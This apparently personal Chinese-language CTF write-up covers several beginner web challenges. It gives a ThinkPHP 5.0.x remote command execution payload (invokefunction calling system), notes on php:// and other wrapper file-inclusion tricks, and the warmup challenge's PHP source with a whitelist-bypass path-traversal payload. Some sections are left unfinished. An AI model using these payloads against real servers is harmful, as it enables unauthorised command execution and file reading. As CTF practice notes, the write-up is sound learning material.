php_rce
参考链接1
参考链接2
根据提示看应该是tp5的远程命令/代码执行漏洞
然后网上搜下payload。
emmm分析我是看不懂的。
(实际上我试了好多payload。。。还有post??有的可以执行有的不能,菜刀还连不上,我也很迷)
5.0.x版的poc
命令执行:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令 (如 dir whoami)
通过这行代码先找flag再cat即可
注意它会显示两遍,所以不是/flag/flag
Web_php_include
打开就是源码
啊,可以看到这个一直对php://进行过滤,那么什么是php://呢
据参考链接:PHP漏洞全解————10、PHP文件包含漏洞,是一个伪协议
除此外还有php://filter
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。
phar://
zip://
data:URI schema
等等
漏洞条件详见参考链接
求flag方法如下:(简单地大小写绕过一下)
得到flag
ics-06
。。。不想写了,谁能想到是暴破呢
warmup
热身,行吧
参考链接
进去就是一张大滑稽,源代码提示source.php
代码如下:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
打开hint.php提示flag在ffffllllaaaagggg中。
分析一下代码
需要使用传参
source.php?file=source.php?(payload)
或者
source.php?file=hint.php?(payload)
又或者利用urldecoder进行双重解码即
source.php?file=source.php%253f
source.php?file=hint.php%253f
啊我研究了半天怎么能利用urldecoder绕过的问题,后来一搜writeup才知道不需要。。。直接用/…/即可
payload:
source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg
可以多套几层…/
原因如下
待续。。